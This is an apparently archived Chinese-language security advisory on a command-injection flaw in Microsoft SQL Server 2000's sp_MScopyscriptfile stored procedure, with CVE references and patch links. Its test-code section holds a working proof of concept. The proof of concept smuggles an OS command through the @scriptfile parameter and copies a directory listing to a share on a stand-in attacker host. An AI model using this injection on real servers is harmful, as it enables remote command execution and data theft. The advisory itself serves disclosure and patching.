Microsoft SQL Server 2000 Replication存储过程可插入漏洞发布时间:2002-07-27 更新时间:2002-07-27 严重程度:高 威胁程度:远程管理员权限 错误类型:输入验证错误 利用方式:服务器模式 BUGTRAQ ID:5309 CVE(CAN) ID:CVE-2001-0645 受影响系统 Microsoft SQL Server 2000 SP2详细描述 Microsoft SQL Server 2000在复制的时候包含两个过程,攻击者可以操作输入提供恶意参数给存储过程,可导致执行任意命令。 Sp_MScopyscriptfile存储过程是复制操作的存储过程之一,存在SQL插入漏洞,Sp_MScopyscriptfile存储过程可以SQL服务器复制的目录,并拷贝脚本文件到这个目录中,其中之一的输入参数@scriptfile是要拷贝脚本文件的名称,在这个参数中可以使用OS命令进行插入,然后执行by xp_cmdshell. 要成功利用这个漏洞需要有SQL Server Agent Proxy帐户,默认没有开启。 测试代码 declare @command varchar(100) declare @scripfile varchar(200) set concat_null_yields_null off select @command='dir c:\ > "\\attackerip\share\dir.txt"' select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "' exec sp_MScopyscriptfile @scripfile ,'' 解决方案 补丁下载: Microsoft SQL Server 2000 SP2: Microsoft Patch Q316333 http://support.microsoft.com/default.aspx?scid=http://download.microsoft.com/download/SQLSVR2000/Update/8.00.0650/W98NT42KMeXP/EN-US/8.00.0650_enu.exe 相关信息 参考:http://archives.neohapsis.com/archives/bugtraq/2002-07/0317.html http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-038.asp |